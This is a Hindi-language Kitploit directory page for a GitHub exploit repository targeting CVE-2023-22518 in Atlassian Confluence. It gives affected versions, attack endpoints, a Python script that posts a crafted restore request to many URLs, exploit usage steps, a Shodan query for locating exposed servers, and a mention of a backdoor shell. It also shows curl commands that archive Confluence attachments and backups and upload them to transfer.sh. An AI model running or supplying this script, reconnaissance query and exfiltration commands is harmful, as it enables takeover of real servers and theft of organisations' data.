Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-22518 — अनुचित प्राधिकरण भेद्यता Confluence डेटा सेंटर और सर्वर में + bugsBonus 🔥 | Kitploit
उपकरण/GitHubGitHub/bibo318/cve-2023-22518
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापोस्ट-शोषणपेनिट्रेशन टेस्टिंग
GitHubbibo318/cve-2023-22518

CVE-2023-22518

अनुचित प्राधिकरण भेद्यता Confluence डेटा सेंटर और सर्वर में + bugsBonus 🔥

रिपॉजिटरी देखें
112 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-22518

Confluence Data Center और Server में अनुचित अधिकार प्रदान की भेद्यता।

Atlassian ने प्रशासकों को Confluence में गंभीर भेद्यता के बारे में चेतावनी दी है। इस भेद्यता का शोषण करने से डेटा हानि हो सकती है, इसलिए डेवलपर अनुशंसा करता है कि आप तुरंत पैच स्थापित करें।

यह ध्यान दिया जाता है कि इस भेद्यता का उपयोग डेटा लीक करने के लिए नहीं किया जा सकता है और यह atlassian.net डोमेन के माध्यम से एक्सेस किए जाने वाले Atlassian Cloud पृष्ठों को प्रभावित नहीं करता है।

भेद्यता के बारे में विस्तृत जानकारी

Atlassian Jira पृष्ठ

उत्पादप्रभावित संस्करणपैच किए गए संस्करण
Confluence Data Centerसभी संस्करण प्रभावित हैं7.19.16 और उससे ऊपर
Confluence Server8.3.4 और उससे ऊपर
8.4.4 और उससे ऊपर
8.5.3 और उससे ऊपर
8.6.1 और उससे ऊपर

शोषण

प्रकार: अनुचित अधिकार प्रदान

CWE: CWE-285 / CWE-266

ATT&CK: T1548.002

ज्ञात हमले वेक्टर 🔥

/json/setup-restore.action

/json/setup-restore-local.action

/json/setup-restore-progress.action

/server-info.action फोरम

Python का उपयोग करके भेद्यता जाँच का सरल उदाहरण

root@kitploit:~
import requests
import random
import string
import argparse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def random_string(length=10):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(length))

def post_setup_restore(baseurl):
    paths = ["/json/setup-restore.action", "/json/setup-restore-local.action", "/json/setup-restore-progress.action", "/server-info.action"]
    for path in paths:
        url = f"{baseurl.rstrip('/')}{path}"

        headers = {
            "X-Atlassian-Token": "no-check",
            "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryT3yekvo0rGaL9QR7"
        }

        rand_str = random_string()
        data = (
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
            "Content-Disposition: form-data; name=\"buildIndex\"\r\n\r\n"
            "true\r\n"
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
            f"Content-Disposition: form-data; name=\"file\";filename=\"{rand_str}.zip\"\r\n\r\n"
            f"{rand_str}\r\n"
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
            "Content-Disposition: form-data; name=\"edit\"\r\n\r\n"
            "Upload and import\r\n"
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7--\r\n"
        )

        try:
            response = requests.post(url, headers=headers, data=data.encode('utf-8'), timeout=10, verify=False)

            if (response.status_code == 200 and
                'The zip file did not contain an entry' in response.text and 
                'exportDescriptor.properties' in response.text):
                print(f"[+] Vulnerable to CVE-2023-22518 on host {url}!")
            else:
                print(f"[-] Not vulnerable to CVE-2023-22518 for host {url}.")
        except requests.RequestException as e:
            print(f"[*] Error connecting to {url}. Error: {e}")

def main():
    parser = argparse.ArgumentParser(description="Post setup restore script")
    parser.add_argument('--url', help='The URL to target', required=False)
    parser.add_argument('--file', help='Filename containing a list of URLs', required=False)
    args = parser.parse_args()

    if args.url:
        post_setup_restore(args.url)
    elif args.file:
        with open(args.file, 'r') as f:
            for line in f:
                url = line.strip()
                if url:
                    post_setup_restore(url)
    else:
        print("You must provide either --url or --file argument.")

if __name__ == "__main__":
    main()

शोषण स्क्रिप्ट का उपयोग 🔥

exploit.py

root@kitploit:~
pip install pycryptodome
python3 exploit.py
URL दर्ज करें: http://domain/json/setup-restore.action?synchronous=true
.zip फ़ाइल का पथ दर्ज करें: /path/xmlexport-20231109-060519-1.zip

BugsBonus 🔥

Shodan खोज:

root@kitploit:~
http.favicon.hash:-305179312

exploit-restore.zip

Confluence Backdoor Shell एप्लिकेशन

इस भेद्यता का उपयोग करके Confluence को पुनर्स्थापित करते समय, %CONFLUENCE_HOME%/attachments निर्देशिका हजारों फ़ाइलों से भरी रहती है। उन्हें निकालना काफी सरल है, और उनके एक्सटेंशन को Linux के file कमांड द्वारा निर्धारित किया जा सकता है। उदाहरण:

root@kitploit:~
file /var/lib/confluence/attachments/v4/191/28/77273124/77273124.1
/var/lib/confluence/attachments/v4/191/28/77273124/77273124.1: PNG image data, 442 x 170, 8-bit/color RGBA, non-interlaced

या

file /var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1
/var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1: PNG image data, 1250 x 674, 8-bit/color RGBA, non-interlaced

एक निर्देशिका को आसानी से संग्रहीत करने और संग्रह को निकालने का उदाहरण:

root@kitploit:~
tar -czvf /var/atlassian/application-data/confluence/attachments_backup.tar.gz /var/atlassian/application-data/confluence/attachments
curl --upload-file /var/atlassian/application-data/attachments_backup.tar.gz https://transfer.sh/attachments_backup.tar.gz
https://transfer.sh/***********/attachments_backup.tar.gz

or

curl --upload-file /var/atlassian/application-data/confluence/backups/backup-2023_09_26.zip https://transfer.sh/backup-2023_09_26.zip
https://transfer.sh/***********/backup-2023_09_26.zip

नया बैकडोर जो Confluence की गंभीर भेद्यता को पैच करने के बाद भी बना रहता है, पर लेख

अन्य उपयोगी जानकारी

टूल डाउनलोड करें